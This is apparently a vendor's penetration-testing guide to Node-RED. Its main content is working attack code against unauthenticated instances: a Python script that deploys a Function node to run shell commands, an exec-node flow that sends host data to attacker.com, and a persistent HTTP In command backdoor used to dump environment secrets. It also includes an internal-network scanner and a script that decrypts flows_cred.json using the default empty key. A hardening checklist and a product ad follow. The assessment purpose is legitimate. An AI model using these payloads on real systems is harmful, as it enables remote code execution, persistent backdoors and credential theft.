Node-RED Security Testing: Admin UI RCE, Credential Exposure, and Flow Injection

Node-RED is the dominant flow-based programming tool for IoT, industrial automation, and home automation deployments. It runs on port 1880 with no authentication by default, exposing a full graphical programming environment that allows deploying arbitrary Node.js code via Function nodes. The /flows API endpoint accepts flow definitions that can include exec nodes, file system access, and network requests — all running as the Node-RED process user. Credentials stored in flows (MQTT passwords, API keys, database credentials) are encrypted with a key that is frequently blank or stored alongside the flow file. This guide covers systematic Node-RED security assessment.

Table of Contents

  1. Admin UI Authentication and RCE via Function Node
  2. Flow API Injection and Exec Node Abuse
  3. Credential Extraction from Flows
  4. Node-RED Security Hardening

Admin UI Authentication and RCE via Function Node

Node-RED's editor interface at port 1880 provides complete control over all deployed flows. With no authentication, any network-reachable host can deploy a Function node executing arbitrary Node.js code as the Node-RED process user — frequently root in Docker environments.

# Node-RED discovery and unauthenticated access check
NODERED="http://nodered.internal:1880"

# Verify unauthenticated access to editor
curl -s "${NODERED}/" | grep -c "Node-RED" && echo "UNAUTHENTICATED EDITOR ACCESS"

# Read settings — version, auth config, flow file path
curl -s "${NODERED}/settings" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'httpAdminRoot: {d.get(\"httpAdminRoot\")}')
print(f'flowFilePath: {d.get(\"flowFilePath\")}')
auth = d.get('requireOldAuth') or d.get('editorTheme',{}).get('login',{})
print(f'Auth configured: {bool(auth)}')
"

# List all deployed node types
curl -s "${NODERED}/flows" | python3 -c "
import json,sys
flows=json.load(sys.stdin)
types={}
for n in flows:
    t=n.get('type','')
    types[t]=types.get(t,0)+1
for t,c in sorted(types.items(),key=lambda x:-x[1])[:20]:
    print(f'{t}: {c}')
"

# Deploy RCE flow via API (inject fires automatically on deploy)
python3 << 'EOF'
import urllib.request, json
NODERED = "http://nodered.internal:1880"
func_code = "const {execSync}=require('child_process');msg.payload=execSync('id;hostname;cat /etc/passwd|head -3').toString();return msg;"
flow = [
    {"id":"t1","type":"tab","label":"test"},
    {"id":"i1","type":"inject","z":"t1","once":True,"wires":[["f1"]]},
    {"id":"f1","type":"function","z":"t1","name":"rce","func":func_code,"wires":[["d1"]]},
    {"id":"d1","type":"debug","z":"t1","active":True}
]
req = urllib.request.Request(f"{NODERED}/flows",
    data=json.dumps(flow).encode(), method="POST",
    headers={"Content-Type":"application/json","Node-RED-Deployment-Type":"full"})
resp = urllib.request.urlopen(req)
print(f"Flow deployed: HTTP {resp.status}")
# Poll debug output
import time; time.sleep(2)
msgs = urllib.request.urlopen(f"{NODERED}/debug/view/messages").read()
print(json.loads(msgs))
EOF
Critical: Unauthenticated Node-RED is a direct path to OS-level code execution. Function nodes access the full Node.js runtime including child_process.execSync, file system APIs, and network connections. Node-RED Docker containers frequently run as root.

Flow API Injection and Exec Node Abuse

The exec node provides a dedicated shell command interface without requiring Function node knowledge. The HTTP In node creates unauthenticated web endpoints on the Node-RED server that persist across restarts.

# Deploy exec node for direct shell access
NODERED="http://nodered.internal:1880"

curl -s -X POST "${NODERED}/flows" \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: nodes" \
  -d '{
    "flows": [
      {"id":"t2","type":"tab","label":"exec"},
      {"id":"i2","type":"inject","z":"t2","once":true,"wires":[["e2"]]},
      {"id":"e2","type":"exec","z":"t2",
       "command":"curl -s http://attacker.com/collect?h=$(hostname)&u=$(id | base64)","wires":[["d2"],[],[]]},
      {"id":"d2","type":"debug","z":"t2","active":true}
    ]
  }'

# Create persistent HTTP command backdoor via HTTP In node
# This backdoor survives Node-RED restarts (saved to flows.json)
curl -s -X POST "${NODERED}/flows" \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: nodes" \
  -d '{
    "flows": [
      {"id":"t3","type":"tab","label":"backdoor"},
      {"id":"h3","type":"http in","z":"t3","method":"post","url":"/api/status","wires":[["f3"]]},
      {"id":"f3","type":"exec","z":"t3","command":"","addpay":true,"wires":[["r3"],[],[]]},
      {"id":"r3","type":"http response","z":"t3"}
    ]
  }'

# Execute commands through the HTTP backdoor
curl -s -X POST "${NODERED}/api/status" \
  -H "Content-Type: application/json" \
  -d '"env | grep -iE PASS|TOKEN|SECRET|KEY"'

# Scan for Node-RED instances on internal network
python3 -c "
import socket, concurrent.futures
def check(ip):
    try:
        s=socket.socket(); s.settimeout(1)
        s.connect((ip,1880)); s.close()
        return ip
    except: return None
targets=['10.0.0.'+str(i) for i in range(1,255)]
with concurrent.futures.ThreadPoolExecutor(50) as ex:
    found=[r for r in ex.map(check,targets) if r]
print('Node-RED instances:',found)
"

Credential Extraction from Flows

Node-RED stores credentials in flows_cred.json encrypted with AES-256-CTR. The encryption key derives from the credentialSecret setting — frequently blank by default, yielding a predictable key of sha256("").

# List credential-holding nodes from running flows
curl -s "${NODERED}/flows" | python3 -c "
import json,sys
flows=json.load(sys.stdin)
cred_types = {'mqtt-broker','http request','mongodb','postgresql','mysql','smtp','ftp','ssh-config'}
for n in flows:
    if n.get('type') in cred_types:
        print(f'Cred node: {n[\"type\"]} — {n.get(\"name\",\"\")}')
        for k,v in n.items():
            if any(s in k.lower() for s in ['pass','secret','key','token','auth','user']):
                print(f'  {k} = {v}')
"

# Find flows_cred.json
find / -name "flows_cred.json" 2>/dev/null

# Decrypt flows_cred.json with default empty secret
python3 -c "
import json,hashlib,base64
try:
    from Crypto.Cipher import AES
    key = hashlib.sha256(b'').digest()
    with open('/data/flows_cred.json') as f:
        creds = json.load(f)
    for nid, fields in creds.items():
        for field, val in fields.items():
            if isinstance(val,str) and val.startswith('\$'):
                raw=base64.b64decode(val[1:]+'==')
                iv=raw[:16]
                c=AES.new(key,AES.MODE_CTR,nonce=iv[:8],initial_value=int.from_bytes(iv[8:],'big'))
                try: print(f'node={nid} {field}={c.decrypt(raw[16:]).decode()}')
                except: pass
except Exception as e: print(e)
"

# Read environment variables injected at container start
# Node-RED Docker often passes DB passwords via ENV
curl -s -X POST "${NODERED}/api/status" \
  -H "Content-Type: application/json" \
  -d '"cat /proc/1/environ | tr \"\\0\" \"\\n\" | grep -iE PASS|DB|TOKEN|SECRET|KEY"' 2>/dev/null

Automated Node-RED Security Testing

Ironimo can assess your Node-RED deployments for unauthenticated admin UI exposure, RCE via Function and exec nodes, credential extraction from flow files, and persistent backdoor risks.

Start free scan

Hardening Checklist

IssueDefault StateFix
No admin authenticationNo auth on port 1880Configure adminAuth in settings.js with bcrypt passwords; restrict to management network
Function node RCEFull Node.js runtime accessEnable safeMode; restrict available modules via functionGlobalContext; run as non-root
Exec node shell accessArbitrary shell commandsRemove exec from palette allowList in settings.js; use AppArmor/SELinux profile
Weak credential encryptioncredentialSecret blank by defaultSet strong random credentialSecret; store separately from flow files; use HashiCorp Vault
HTTP In creates open routesNo auth on HTTP In endpointsAdd auth middleware; restrict httpNodeRoot to internal network; use HTTPS
Runs as root in DockerCommon in default imagesUse USER node in Dockerfile; set read-only filesystem; drop all capabilities
Key findings to report: Unauthenticated admin UI on port 1880 (critical); Function node RCE as process user (critical); exec node direct shell access (critical); credential decryption from flows_cred.json with blank secret (high); HTTP In backdoor endpoint persisting across restarts (high).